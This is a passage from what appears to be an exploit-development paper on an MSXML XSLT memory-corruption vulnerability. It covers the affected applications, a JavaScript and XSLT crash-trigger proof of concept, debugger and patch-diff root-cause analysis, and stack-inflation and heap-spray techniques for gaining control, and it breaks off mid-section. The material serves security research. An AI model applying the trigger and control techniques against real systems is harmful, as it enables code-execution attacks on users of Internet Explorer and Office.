|2 | Internet Explorer | Call to MSXML ActiveX | | | | | method transformNode()| Crash |

| | | Windows 7 + IE9/IE11) |

|‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|3 | DotNetNuke | Unknown | From the original |

| | | publication, not tested |

|‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|4 | SharePoint | Unknown | From the original |

| | | publication, not tested |

|‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|5 | Microsoft Word | Call to MSXML ActiveX | | | | | via a macro | Crash (Office 2010) |

|‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|6 | Microsoft Word | Native XML‑XSL | |

| | | transformation via an | | | | | XSD scheme | May be possible if |

| | | relies upon MSXML*1, |

| | | not tested |

|‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|7 | Microsoft Word | Call to MSXML ActiveX | |

| | | method transformNode()| |

| | | via an embedded | |

| | | JavaScript in a | Crash (Office 2007) |

| | | Microsoft ActiveX | |

| | | control |

|‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|8 | Microsoft Word | Call to the directly | |

| | | embedded ActiveX | Not possible*2 |

|‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|9 | Microsoft Project | Native XML‑XSL | |

| | | transformation | May be possible*3, |

| | | not tested |

|‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|* | Arbitrary app*4 | Call to MSXML ActiveX | | | | | method transformNode()| Definitely possible, |

| | | not tested |

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

*1 Applying an XSLT Transform [Word 2003 XML Reference] http://msdn.microsoft.com/en‑us/library/office/

ee364545(v=office.11).aspx

*2 OOXML does not implement the functionality to call ActiveX methods, although it can instantiate them:

[MS‑OE376]: Office Implementation Information for ECMA‑376 Standards Support http://msdn.microsoft.com/en‑us/library/ff533853(v=office.12).aspx

*3 How to: Use XSLT Transformations with Project XML Data Interchange Files

http://msdn.microsoft.com/en‑us/library/office/

bb968529(v=office.12).aspx

*4 ...which uses MSXML's COM/ActiveX module

The above table of possible impact vectors is far from being exhaustive. Most obviously, it should include at least the other Microsoft Office applications, in addition to Word and Project.

‑‑[ 2.3 ‑ Analyzing the crash

One of the ways to trigger the XSL transformation functionality of Microsoft XML Core Services is to call the transformNode() method from the COM/ActiveX object MSXML2.DOMDocument.6.0 via e.g. JavaScript:

xslcontent='<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/

Transform"

version="1.0"><xsl:template name="main_template" match="/"><xsl:for‑each select="*"><xsl:apply‑templates/></xsl:for‑each></xsl:template>< xsl:template

name="xx" match="x[position()]" /></xsl:stylesheet>';

srcTree=new ActiveXObject("Msxml2.DOMDocument.6.0"); xsltTree=new ActiveXObject("Msxml2.DOMDocument.6.0"); xsltTree.loadXML(xslcontent);

alert("crash");

srcTree.transformNode(xsltTree);

The above code, when executed either with the help of cscript command line utility or from within an Internet Explorer web page, will produce a crash due to an invalid memory read attempt, similar to the following:

(5f8.9d4): Access violation ‑ code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.

eax=ad9004d6 ebx=0e419ff0 ecx=0e419f42 edx=6f6e4430 esi=0e419f40 edi=04d6ac70 eip=6f6f9c85 esp=04d6ac6c ebp=04d6ad88 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 msxml6!XEngine::stns+0x6:

6f6f9c85 8b5008 mov edx,dword ptr [eax+8] ds:0023:ad9004de=????????

An observation can be made across multiple tests that the crashing memory address varies a little bit from test to test, but always falls into a somewhat persistent address range in the kernel memory, which actually causes the access violation.

Looking at the stack dump we can surmise that the crash occurs during the processing of a particular XSLT instruction, represented by the function XEngine::stns(), by the MSXML's XEngine' virtual machine:

0:007> k

ChildEBP RetAddr

04d6ac68 6f6e60cc msxml6!XEngine::stns+0x6

04d6ad88 6f6e60cc msxml6!XEngine::frame+0x84

04d6ae08 6f6f3e2d msxml6!XEngine::frame+0x84

04d6aeb8 6f75ffb0 msxml6!XEngine::execute+0x1b4

04d6af14 6f75fee3 msxml6!XUtility::executeXCode+0x90 04d6af68 6f75fe2b msxml6!XUtility::transformNode+0x4a 04d6afd4 6f75fda2 msxml6!DOMNode::transformNode+0xa6 04d6afe8 6f7460c9 msxml6!DOMDocumentWrapper::transformNode+0x17 04d6b004 6f760b71 msxml6!DOMNode::_invokeDOMNode+0x30e ...

Indeed, further analysis reveals a virtual machine execution loop, in which the function XEngine::frame() is responsible for the execution of the current fragment of 'XCode'. XCode is essentially a dynamically constructed sequence of pointers to member functions of the XEngine class along with their arguments, that was compiled from the input XSLT markup:

0:007> u msxml6!XEngine::frame l30

msxml6!XEngine::frame:

...

6f6e6092 call msxml6!XEngineFrame::initFrame (6f6e72c3) ...

; increment the pointer to the chain of XEngine functions: 6f6e60b8 add dword ptr [esi+0A0h],10h

; loop:

6f6e60bf mov eax,dword ptr [esi+0A0h];retrieve the next XEngine proc 6f6e60c5 mov ecx,dword ptr [eax+4] ; retrieve the argument 6f6e60c8 add ecx,esi ; increment the pointer to a global structure 6f6e60ca call dword ptr [eax] ; call the XEngine proc 6f6e60cc add dword ptr [esi+0A0h],eax

6f6e60d2 je msxml6!XEngine::frame+0x95 (6f6e60dd) 6f6e60d4 cmp byte ptr [esi+0B8h],0

6f6e60db je msxml6!XEngine::frame+0x77 (6f6e60bf) ; loop

The XCode which corresponds to the vulnerable XSLT code may be observed by dumping of the current XEngine frame, which reveals the list of pointers to functions to be called sequentially, as well as their arguments:

0:007> p

eax=06ca9ff4 ebx=06ca9ff0 ecx=0513b010 edx=0513b0a0 esi=06ca9f40 edi=0513b010 eip=6f6e60bf esp=0513b010 ebp=0513b088 iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206

msxml6!XEngine::frame+0x77:

6f6e60bf mov eax,dword ptr [esi+0A0h] ds:0023:06ca9fe0=6cf0c806

0:007> dds poi(esi+a0)

06c8f05c 6f6e6046 msxml6!XEngine::frame

06c8f060 00000000

06c8f064 00000030

06c8f068 c0c0c000

06c8f06c 6f6f9bba msxml6!XEngine::ldc_i

06c8f070 00000000

06c8f074 00000000

06c8f078 6f6f16e8 msxml6!XEngine::br

06c8f07c 00000000

06c8f080 00000128

06c8f084 6f6e6046 msxml6!XEngine::frame

06c8f088 00000000

06c8f08c 000000d0

06c8f090 c0c0c000

06c8f094 6f6e7868 msxml6!XEngine::ctxt

06c8f098 00000000

06c8f09c 0000000c

06c8f0a0 6f6e7399 msxml6!XEngine::ch

06c8f0a4 00000000

06c8f0a8 00000024

06c8f0ac 06c8bde4

06c8f0b0 6f6f16e8 msxml6!XEngine::br

06c8f0b4 00000000

06c8f0b8 0000000c

06c8f0bc 6f6f9c7f msxml6!XEngine::stns

06c8f0c0 00000002

06c8f0c4 6f6fcf32 msxml6!XEngine::locldns

06c8f0c8 00000000

06c8f0cc 00000050

06c8f0d0 6f6fa250 msxml6!XEngine::brns

06c8f0d4 00000000

06c8f0d8 0000009c

...

Each function of the XEngine class works with an undocumented global s structure, referenced by the registers esi or ecx within the class code. The structure holds pointers to MSXML's virtual address tables, stack pointers and some other values:

0:007> dds esi l40

06ca9f40 6f6c1754 msxml6!SXPQCompiler::`vftable' 06ca9f44 6f6e75d8 msxml6!XEngine::`vftable'

06ca9f48 00000008

06ca9f4c 6f6e75c8 msxml6!XEngine::CurrentExprEval::`vftable' 06ca9f50 6f6e75d0 msxml6!XEngine::GlobalExprEval::`vftable' 06ca9f54 06ca9f40

06ca9f58 06ca9f78

06ca9f5c 06c8bda8

06ca9f60 00000000

06ca9f64 00000000

06ca9f68 00000000

06ca9f6c 00000000

06ca9f70 00000000

06ca9f74 00000000

06ca9f78 6f6e7620 msxml6!XRuntime::`vftable'

...

In the vulnerable code, the pointer to the structure is being incremented in the XEngine loop, within the XEngine::frame() function, by the value provided in the XCode frame:

; loop:

6f6e60bf mov eax,dword ptr [esi+0A0h];retrieve the next XEngine proc 6f6e60c5 mov ecx,dword ptr [eax+4] ; retrieve the argument 6f6e60c8 add ecx,esi ; increment the pointer to the global structure

The reason of the crash is that, immediately before entering the XEngine::stns() function, the pointer to the global structure is incremented by the invalid value of 2:

msxml6!XEngine::frame+0x82:

6f6e60ca call dword ptr [eax];ds:0023:0d5af0bc={msxml6!XEngine::stns}

0:007> u eip‑10

msxml6!XEngine::frame+0x72:

...

6f6e60bf mov eax,dword ptr [esi+0A0h]

6f6e60c5 mov ecx,dword ptr [eax+4]

6f6e60c8 add ecx,esi

6f6e60ca call dword ptr [eax]

0:007> dds poi(esi+a0)

06c8f0bc 6f6f9c7f msxml6!XEngine::stns

06c8f0c0 00000002

Next, when the improperly incremented pointer is dereferenced in XEngine::stns(), it leads to the misaligned memory access and invalid values being retrieved, causing the crash:

msxml6!XEngine::stns+0x6:

6f6f9c85 mov edx,dword ptr [eax+8] ds:0023:b010051b=????????

; where did eax come from?

0:007> u eip‑6

msxml6!XEngine::stns:

; should point to the global structure

6f6f9c7f mov eax,dword ptr [ecx+0B0h]

6f6f9c85 mov edx,dword ptr [eax+8]

...

0:007> dds ecx

; looks like total garbage, but it's actually due to the misalignment... 06ca9f42 75d86f6c shell32!__dyn_tls_init_callback (shell32+0x5f6f6c) 06ca9f46 00086f6e

06ca9f4a 75c80000 shell32!__dyn_tls_init_callback (shell32+0x4f0000) 06ca9f4e 75d06f6e shell32!__dyn_tls_init_callback (shell32+0x576f6e) 06ca9f52 9f406f6e

...

; ...and the correctly aligned structure is actually 2 bytes higher: 0:007> dds ecx‑2

06ca9f40 6f6c1754 msxml6!SXPQCompiler::`vftable' 06ca9f44 6f6e75d8 msxml6!XEngine::`vftable'

06ca9f48 00000008

06ca9f4c 6f6e75c8 msxml6!XEngine::CurrentExprEval::`vftable' 06ca9f50 6f6e75d0 msxml6!XEngine::GlobalExprEval::`vftable' 06ca9f54 06ca9f40

06ca9f58 06ca9f78

06ca9f5c 06c8bda8

06ca9f60 00000000

...

At this point the vulnerability does not look very promising: the crashing memory address being read from a valid pointer to internal program data, shifted by strictly two bytes.

‑‑[ 2.4 ‑ Estimating exploitability

Let's observe the vulnerable XCode frame once again:

0:007> dds poi(esi+a0)

06c8f05c 6f6e6046 msxml6!XEngine::frame

06c8f060 00000000

06c8f064 00000030

06c8f068 c0c0c000

06c8f06c 6f6f9bba msxml6!XEngine::ldc_i

06c8f070 00000000

06c8f074 00000000

06c8f078 6f6f16e8 msxml6!XEngine::br

06c8f07c 00000000

06c8f080 00000128

06c8f084 6f6e6046 msxml6!XEngine::frame

06c8f088 00000000

06c8f08c 000000d0

06c8f090 c0c0c000

06c8f094 6f6e7868 msxml6!XEngine::ctxt

06c8f098 00000000

06c8f09c 0000000c

06c8f0a0 6f6e7399 msxml6!XEngine::ch

06c8f0a4 00000000

06c8f0a8 00000024

06c8f0ac 06c8bde4

06c8f0b0 6f6f16e8 msxml6!XEngine::br

06c8f0b4 00000000

06c8f0b8 0000000c

06c8f0bc 6f6f9c7f msxml6!XEngine::stns

06c8f0c0 00000002

06c8f0c4 6f6fcf32 msxml6!XEngine::locldns

06c8f0c8 00000000

06c8f0cc 00000050

06c8f0d0 6f6fa250 msxml6!XEngine::brns

06c8f0d4 00000000

We can see that, at some point after the execution of the XEngine::stns() function, the XEngine::brns() function will be called, that contains a dynamic call:

msxml6!XEngine::brns:

712da250 mov edi,edi

712da252 push esi

712da253 mov esi,ecx

712da255 mov ecx,dword ptr [esi+0A4h]

712da25b mov eax,dword ptr [ecx] ; {msxml6!ChildNodeSet::`vftable'} 712da25d call dword ptr [eax] ; dynamic call

The dynamic call address in XEngine::brns() derives from the same place in memory where XEngine::stns() wrote something:

msxml6!XEngine::stns:

6f6f9c7f mov eax,dword ptr [ecx+0B0h]

6f6f9c85 mov edx,dword ptr [eax+8]

6f6f9c88 push esi

6f6f9c89 lea esi,[edx+0Ch]

6f6f9c8c mov dword ptr [eax+8],esi

6f6f9c8f mov eax,dword ptr [edx+4]

6f6f9c92 push 8

6f6f9c94 mov dword ptr [ecx+0A4h],eax ; wrote something 6f6f9c9a pop eax

6f6f9c9b pop esi

6f6f9c9c ret

More precisely, the written value derives from the crashing memory address:

msxml6!XEngine::stns:

6f6f9c7f mov eax,dword ptr [ecx+0B0h]

6f6f9c85 mov edx,dword ptr [eax+8] ; read (crashes here) 6f6f9c88 push esi

6f6f9c89 lea esi,[edx+0Ch]

6f6f9c8c mov dword ptr [eax+8],esi

6f6f9c8f mov eax,dword ptr [edx+4] ; read

6f6f9c92 push 8

6f6f9c94 mov dword ptr [ecx+0A4h],eax ; write 6f6f9c9a pop eax

6f6f9c9b pop esi

6f6f9c9c ret

Which means that, in the case that the crashing memory was readable, an address value would be read from that memory, to be call'ed later within XEngine::brns(). What happens here is probably some manipulations with the virtual address tables of the XEngine class.

However in the vulnerable context, because the global pointer is only corrupted in stns() while being intact in brns(), only two upper bytes of the final memory destination will be overwritten:

; read(+B0+2)=0c6f0027d, write(+A4+2)=0c79c027d, call(+A4)=027dc7b4: 0:005> dpp ecx‑2 L30

...

04388840 045ea780 711d31e8 msxml6!Vector::`vftable' 04388844 0438bab8 711d1754 msxml6!SXPQCompiler::`vftable' 04388848 04389484 71209c7f msxml6!XEngine::stns +0A4h 0438884c 027dc7b4 711f44b8 msxml6!RTFNodeSet::`vftable' 04388850 027dc79c 711f44b8 msxml6!RTFNodeSet::`vftable' 04388854 045e02b0 711ddcf8 msxml6!Name::`vftable' +0B0h 04388858 027dc5d0 027dc6f0

0438885c 027dc6f0 027dc770

04388860 00000000

In other words, it might be possible to control at most the higher word of the pointer used to retrieve the dynamic call address.

Next, because of the 2‑bytes misaligned memory read in XEngine::stns(), the crashing address is essentially a composition of two valid stack pointers:

msxml6!XEngine::stns+0x6:

6f6f9c85 8b5008 mov edx,dword ptr [eax+8] ds:0023:b040053a=????????

; composed from the two valid stack pointers:

0:007> dds ecx+b0‑2

0d5c9ff0 0532af20

0d5c9ff4 0532b040

; both of them on the stack:

0:007> k

ChildEBP RetAddr

0532af18 6f6e60cc msxml6!XEngine::stns+0x6

0532b038 6f6e60cc msxml6!XEngine::frame+0x84

; ...the pointers

0532b0b8 6f6f3e2d msxml6!XEngine::frame+0x84

0532b168 6f75ffb0 msxml6!XEngine::execute+0x1b4

That is, the upper word of the crashing memory address is equal to the lower word of the stack address, located somewhere within the local variables frame of XEngine::frame(). Which means that, in this particular vulnerability context, the crashing memory address depends exclusively on the stack layout.

Next, it was mentioned in the original publication that slightly different crashes could be observed by modifying the vulnerable XSLT code. Indeed, the following XSLT code would cause a 6‑bytes misaligned memory access in XEngine::stns():

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"

version="1.0">

<xsl:template name="main_template" match="/"> <xsl:for‑each select="*"> <xsl:apply‑templates/> </xsl:for‑each>

</xsl:template>

<xsl:template name="xxx_nonexistent" match="//xxx[position()=last()]" />

</xsl:stylesheet>

However, a 6‑bytes misaligned pointer crash is not possible to control, because it can only yield the null page read:

0:005> dpp ecx+6 L30

...

042a8840 0480a760 715e31e8 msxml6!Vector::`vftable' 042a8844 042abab8 715e1754 msxml6!SXPQCompiler::`vftable' 042a8848 042a9484 71619c7f msxml6!XEngine::stns

042a884c 0269c684 716044b8 msxml6!RTFNodeSet::`vftable' 042a8850 0269c66c 716044b8 msxml6!RTFNodeSet::`vftable' 042a8854 048002b0 715edcf8 msxml6!Name::`vftable' 042a8858 0269c4a0 0269c5c0

042a885c 0269c5c0 0269c640

042a8860 00000000 ; it's always null

042a8864 00000000

All in all, the vulnerability looks quite exploitable at this point.

‑‑[ 2.5 ‑ Patch analysis and the root cause

I decided to look at the exact root cause of the vulnerability in order to see if there might be any other ways to control it besides messing with the thread stack. May the pointer incrementing value be controlled? Or maybe, any opportunities to trigger the vulnerability with a completely different input XSLT code? Because the vulnerability is already patched, it's possible to leverage patch analysis for the root cause investigation.

From binary diffing of the patch we can see that the crashing procedure XEngine::stns() was not even patched. Instead, the XEngine::frame() procedure was patched by completely removing the pointer incrementing code:

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Vulnerable code | Patched code |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

| loc_726C60BF: | loc_726C6BB6: |

| mov eax, [esi+0A0h] | mov eax, [esi+9Ch] |

| mov ecx, [eax+4] | mov ecx, esi |

| add ecx, esi | ‑ |

| call dword ptr [eax] | call dword ptr [eax] |

| add [esi+0A0h], eax | add [esi+9Ch], eax |

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

But where exactly did the invalid incremental value originate from?

Among few dozens of modified procedures in the patch, there is a bunch of XCodeGen class functions, all of them initializing the XCode frame:

.text:72733631 ; public: void __thiscall XCodeGen::brns(unsigned char *) .text:72733631 ?brns@XCodeGen@@QAEXPAE@Z proc near .text:7273363A xor esi, esi .text:7273363C mov edx, offset XEngine::brns(void) .text:72733641 mov [eax+4], esi ; the argument .text:72733644 mov [eax], edx ; the function address

In the above code, two XCode frame slots are initialized: both the call pointer (set to the address of XEngine::brns() in this case) and the incremental value (set to zero). In fact, all functions of the XCodeGen class initialize the incremental value to zero. But then, in some cases the value becomes corrupted after the call to XCodeGen::ensureCapacity():

.text:726C6B93 ; public: void __thiscall XCodeGen::ch(class NavFilter *) .text:726C6B93 ?ch@XCodeGen@@QAEXPAVNavFilter@@@Z proc near .text:726C6B93

.text:726C6B93 arg_0 = dword ptr 8 .text:726C6B93

.text:726C6B93 mov edi, edi .text:726C6B95 push ebp

.text:726C6B96 mov ebp, esp .text:726C6B98 push ebx

.text:726C6B99 push esi

.text:726C6B9A push edi

.text:726C6B9B push 10h

.text:726C6B9D mov esi, ecx .text:726C6B9F mov edi, offset XEngine::ch(void) .text:726C6BA4 xor ebx, ebx .text:726C6BA6 call XCodeGen::ensureCapacity(uint) .text:726C6BAB mov [eax], edi

; ebx *should* be zero unless ensureCapacity() messes with it: .text:726C6BAD mov [eax+4], ebx

And the actual corruption takes place inside the ASTCodeGen::xpathFunctionCode() function, which sets some bits of the incremental value with either mask 2 or 4 (or possibly, both):

msxml6!ASTCodeGen::xpathFunctionCode+0x347:

720abf20 5e pop esi

720abf21 5b pop ebx

720abf22 5d pop ebp

720abf23 c20400 ret 4

720abf26 8b4604 mov eax,dword ptr [esi+4] 720abf29 8b4018 mov eax,dword ptr [eax+18h] 720abf2c 83481002 or dword ptr [eax+10h],2

...

msxml6!ASTCodeGen::xpathFunctionCode+0x12a:

720ef0f6 83481004 or dword ptr [eax+10h],4 720ef0fa 8b4e04 mov ecx,dword ptr [esi+4] 720ef0fd e80a000000 call msxml6!XCodeGen::last (720ef10c) 720ef102 e918cefbff jmp msxml6!ASTCodeGen::xpathFunctionCode+0x346

There is a jump table, likely a case switch, that refers to both of the bit‑setting code branches:

; DATA XREF: ASTCodeGen::xpathFunctionCode(FunctionCallNode *)+31r .text:72738022 off_72738022 dd offset loc_7271C27D .text:72738022 dd offset loc_7273731D .text:72738022 dd offset loc_7273CD36 .text:72738022 dd offset loc_7273DB58 .text:72738022 dd offset loc_727373BF .text:72738022 dd offset loc_726FD455 .text:72738022 dd offset loc_726FDD0C .text:72738022 dd offset loc_72737FD8 .text:72738022 dd offset loc_7271C388 .text:72738022 dd offset loc_72737393 .text:72738022 dd offset loc_7273F9A6 .text:72738022 dd offset loc_72737FEF .text:72738022 dd offset loc_726F95D7 .text:72738022 dd offset loc_727373BF .text:72738022 dd offset loc_727373BF .text:72738022 dd offset loc_727373C6 .text:72738022 dd offset loc_726FF1C8 .text:72738022 dd offset loc_7271C3D0 .text:72738022 dd offset loc_727373BF .text:72738022 dd offset loc_726FAD0A .text:72738022 dd offset loc_7273E8DD .text:72738022 dd offset loc_726FAF60 .text:72738022 dd offset loc_726FA10C .text:72738022 dd offset loc_726F9CCB .text:72738022 dd offset loc_726FCCEA

By looking through other switch cases in the table we can confirm that none of them performs any other write operations with the memory location in question. Thus, the pointer incremental value can only be set to the three values: 2, 4, and 6 (2 OR 4), of which only the first case would be controllable.

Next, because the actual corrupting code (the OR instruction) was not eliminated by the patch, but rather, the incrementing instruction was eliminated, we have to assume that there might be other code paths which rely upon corrupted values. But the likeliness of this is low beyond the scope of the XEngine class, of which the main function XEngine::frame() was already patched. So, I dropped this opportunity as not worthy of investigation.

Another opportunity that must be considered is, if it might be possible to control the original values from which the crashing pointer was composed. But, in the debugging context it's clear that the values are just pointers to local variables and thus unlikely to be controlled directly:

msxml6!XEngine::stns+0x6:

6f6f9c85 8b5008 mov edx,dword ptr [eax+8] ds:0023:b040053a=????????

0:007> dds ecx+b0‑2

0d5c9ff0 0532af20

0d5c9ff4 0532b040

0:005> u eip‑30 l30

msxml6!XEngine::execute+0xad:

...

711c3d8c 8d45a4 lea eax,[ebp‑5Ch]

...

711c3d8f 8983a4000000 mov dword ptr [ebx+0A4h],eax

As a side note, the patch analysis for this case would not have been possible without prior knowledge of the crash triggering input and the crash context, because the patched code is so far away from both the crashing code and the vulnerability root cause, while the volume of code modifications introduced by the patch is huge.

‑‑[ 3 ‑ The control

At this point it's clear that the only reasonable way to control the vulnerability is to inflate the stack so that the crashing pointer would fall into userland memory area that can possibly be controlled:

msxml6!XEngine::stns+0x6:

6f6f9c85 8b5008 mov edx,dword ptr [eax+8] ds:0023:b040053a=????????

0:007> u eip‑6

msxml6!XEngine::stns:

6f6f9c7f 8b81b0000000 mov eax,dword ptr [ecx+0B0h] 6f6f9c85 8b5008 mov edx,dword ptr [eax+8]

0:007> dds ecx+b0‑2

0d5c9ff0 0532af20

0d5c9ff4 0532b040

0:007> k

ChildEBP RetAddr

0532af18 6f6e60cc msxml6!XEngine::stns+0x6

0532b038 6f6e60cc msxml6!XEngine::frame+0x84

0532b0b8 6f6f3e2d msxml6!XEngine::frame+0x84

0532b168 6f75ffb0 msxml6!XEngine::execute+0x1b4

Given the above listing, it would be nice to have the second XEngine::frame() call happening around e.g. 0x05320300, that would send the crashing pointer value 0x0300053a to XEngine::stns(), pointing to the heap. Which requires that, prior to the vulnerable procedure call, the thread must make function calls and stack frame allocations worth of approximately 42 kilobytes of stack memory and never pop them.

‑‑[ 3.1 ‑ Inflating the stack 1: XSLT recursion

The obvious way to inflate the stack is to generate a recursion on the stack, which should be possible with any dynamic technology available to the target application. My first idea was to use XSLT itself for this. Indeed, the following code, which is the classical Hanoi algorithm implementation in XSLT, will produce a massive recursion on the stack ( for the record, it might even DoS the browser with big enough $n):

<?xml version="1.0"?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/">

<xsl:variable name="n">

<xsl:value‑of select="//arg/@n"/>

</xsl:variable>

<xsl:element name="hanoi‑solve">

<xsl:call‑template name="dohanoi">

<xsl:with‑param name="n" select="30"/> <xsl:with‑param name="to" select="3"/> <xsl:with‑param name="from" select="1"/> <xsl:with‑param name="using" select="2"/> </xsl:call‑template>

</xsl:element>

</xsl:template>

<xsl:template name="dohanoi">

<xsl:param name="n"/>

<xsl:param name="to"/>

<xsl:param name="from"/>

<xsl:param name="using"/>

<xsl:if test="number($n) &gt; 0">

<xsl:call‑template name="dohanoi">

<xsl:with‑param name="n" select="number($n) ‑ 1"/> <xsl:with‑param name="to" select="$using"/> <xsl:with‑param name="from" select="$from"/> <xsl:with‑param name="using" select="$to"/> </xsl:call‑template>

<xsl:element name="move">

<xsl:attribute name="from">

<xsl:value‑of select="$from"/>

</xsl:attribute>

<xsl:attribute name="to">

<xsl:value‑of select="$to"/>

</xsl:attribute>

</xsl:element>

<xsl:call‑template name="dohanoi">

<xsl:with‑param name="n" select="number($n) ‑ 1"/> <xsl:with‑param name="to" select="$to"/> <xsl:with‑param name="from" select="$using"/> <xsl:with‑param name="using" select="$from"/> </xsl:call‑template>

<xsl:for‑each select="*">

<xsl:apply‑templates/>

</xsl:for‑each>

</xsl:if>

</xsl:template>

<xsl:template name="xxx_nonexistent" match="//xxx[position()]" />

</xsl:stylesheet>

Sadly, the XSLT‑based recursion inflates the stack above and not below the crashing pointer sources stack frame, and thus the recursion does not affect the crashing context at all:

ChildEBP RetAddr

0ed783e8 711b60cc msxml6!XEngine::stns

0ed78588 711b60cc msxml6!XEngine::frame+0x84

0ed78728 711b60cc msxml6!XEngine::frame+0x84

0ed788c8 711b60cc msxml6!XEngine::frame+0x84

0ed78a68 711b60cc msxml6!XEngine::frame+0x84

0ed78c08 711b60cc msxml6!XEngine::frame+0x84

0ed78da8 711b60cc msxml6!XEngine::frame+0x84

; skipped many frame()'s

0ed7b5e8 msxml6!XEngine::frame+0x84

; ‑‑> the vulnerable stack frame <‑‑

0ed7b668 711c3e2d msxml6!XEngine::frame+0x84

0ed7b710 7122ffb0 msxml6!XEngine::execute+0x1b4

0ed7b76c 7122fee3 msxml6!XUtility::executeXCode+0x90 0ed7b7c0 7122fe2b msxml6!XUtility::transformNode+0x4a 0ed7b82c 7122fda2 msxml6!DOMNode::transformNode+0xa6

...

‑‑[ 3.2 ‑ Inflating the stack 2: JavaScript recursion

After the fail with XSLT recursion I turned back to JavaScript. The following simple factorial implementation will produce a massive recursion on the stack:

function factorial(n) {

if(n == 0) {

trigger();

return 1

} else {

return n * factorial(n ‑ 1);

}

}

...

<body onload="factorial(63)">

The vulnerability must be triggered from within the recursive code in order to enjoy the inflated stack situation:

msxml6!XEngine::stns+0x6:

711c9c85 mov edx,dword ptr [eax+8] ds:0023:03a004ca=????????

0:005> !address eax

Usage: PageHeap

Base Address: 03961000

End Address: 03a60000

Region Size: 000ff000

State: 00002000 MEM_RESERVE

Protect: <info not present at the target> Type: 00020000 MEM_PRIVATE

Allocation Base: 03960000

Allocation Protect: 00000001 PAGE_NOACCESS

More info: !heap ‑p 0x3541000

More info: !heap ‑p ‑a 0x3a004c2

0:005> !heap

Index Address Name Debugging options enabled

1: 016a0000

2: 015e0000

3: 00010000

4: 019f0000

5: 03720000 < landed here

6: 06470000

7: 06900000

8: 06cd0000

9: 07cb0000

10: 07dd0000

11: 09380000

12: 07d60000

13: 0c500000

14: 0c670000

15: 0cd30000

This time a valid userland address was accessed, and the access violation was caused merely by the lack of a busy allocation on the address.

According to the observations made across multiple tests, the thread stack will always start slightly below the edge of the memory page:

test 1:

0532fbbc 00000000 ntdll!_RtlUserThreadStart+0x1b

test 2:

04d7fd34 00000000 ntdll!_RtlUserThreadStart+0x1b

test 3:

04a5ffd8 00000000 ntdll!_RtlUserThreadStart+0x1b

test 4:

055bfe80 00000000 ntdll!_RtlUserThreadStart+0x1b

More precisely, the exact address of the beginning of the stack is variable within the range of roughly 0x600 bytes, and so are the pointers to stack‑based variables; thus, the crashing pointer would be variable by 0x06000000 on x86 systems, which means that the initial invalid memory access would be observed at a random memory address within a 100 Mb memory range.

At this point we have two separate problems: first, to quickly fill at least 200‑300 Mb of memory with controlled data (100 Mb required to catch the initial memory access, plus the room for secondary pointer dereference padding, plus some compensation for the allocation addresses variability), and second, to direct the crashing pointer into a specific region of that memory.

Note that, although heap spraying is considered a bad practice for a good reason, and that it's highly constrained if not impossible on 64bit systems with 128G of memory space to fill, but the nature of our vulnerability does not allow for an alternative approach. So, let's just take it as an exercise in the artful dealing with whatever is.

‑‑[ 3.4 ‑ Filling the memory 1: images

Because the memory region that must be controlled is rather big, my initial idea was to utilize some pre‑calculated big objects for filling it, such as images. The core of the idea is that, every piece of data that can be consumed and processed by the target application (e.g. output or rendered) has its place and a representation in the target process memory. Thinking like that we don't get caught in stereotypical terms of 'heap spraying' and the specific techniques associated with it, many of which are already mitigated in browsers.

The idea of using graphical images in vulnerability development is not new. It was first introduced in 2006 by Sutton et al.[3], whose research focused mainly on the aesthetics of shellcode steganography in images rather than solving of any problems of heap spraying (as there were none at that time). Later, a few researchers revisited the same idea in the context of heap spraying, but it has never found a real application, mainly because bitmaps (as the only format capable of incorporating a byte pattern 'as is') are huge and can only be shrinked with the help of server‑side measures, while using other image formats for memory control purposes is burdened with calculation problems of recompression.

Apart from the server‑side GZIP compression, another solution that's never publicly noted is PNG. The PNG compression is very simple and does not affect the bitmap structure at large. As a result, a 2Mb BMP image containing a simple 1‑byte pattern can be converted into a ~500 bytes PNG image, that will be decompressed back into the original bitmap in the rendering process memory.

There are two problems however:

1. The more variable is the source bitmap pattern, the bigger is the resulting PNG image; a natural limitation of any compression.

2. The decompressed PNG has extra bytes in the bitmap data, injected after every 3 bytes of the original bitmap. It's probably a transparency channel or some other data specific to the PNG format.

The good news:

